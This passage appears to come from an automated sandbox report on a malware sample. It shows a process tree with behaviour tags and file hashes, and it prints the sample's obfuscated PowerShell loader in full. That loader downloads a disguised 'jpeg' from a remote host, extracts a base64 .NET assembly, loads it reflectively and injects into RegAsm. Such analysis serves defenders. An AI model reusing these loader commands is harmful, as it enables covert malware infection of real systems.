₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑dQBi⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑By⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Ng⫮ ≵ ₪ ㊎ ㆑0⫮ ≵ ₪ ㊎ ㆑Ew⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑WwBT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑bwBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑ZQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑XQ⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑RgBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBC⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBk⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bb⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑eQBz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑ZQBt⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bg⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑cwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQBi⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑eQBd⫮ ≵ ₪ ㊎ ㆑Do⫮ ≵ ₪ ㊎ ㆑OgBM⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑EI⫮ ≵ ₪ ㊎ ㆑eQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BB⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑cwBl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YgBs⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BU⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑JwBk⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑E8⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQBl⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑7⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bt⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑eQBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BN⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bo⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑VgBB⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑bwBr⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑L⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑bwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑WwBd⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBI⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑y⫮ ≵ ₪ ㊎ ㆑DE⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑3⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑MQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Dk⫮ ≵ ₪ ㊎ ㆑M⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑Mw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑DI⫮ ≵ ₪ ㊎ ㆑OQ⫮ ≵ ₪ ㊎ ㆑x⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑Lw⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑H⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cw⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQBz⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑QQBz⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑s⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑dgBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑H0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑==';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⫮ ≵ ₪ ㊎ ㆑','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$link = 'http://servidorwindows.ddns.com.br/Files/vbs.jpeg'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('dnlib.IO.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.HSLF/121/741.901.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado')) } }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4184 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2416
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
144B
MD547d03495a002651bbd9c5200cd72e874
SHA19a6ffcddc59b52837bc24f211c3d59992bc7a536
SHA256cb33e8ccdedd69258d0e71dd2c9fcbb293af16c01de92a32ffd4939beaf18c91
SHA51234252b3ce6cc4623d96bd5e00f73b2ac866ed263e8f33170c036fe2c2520a8f410dc8c61c1c659d66d422b89613073d38959c9b9d5d0ea68949d79753e1988c3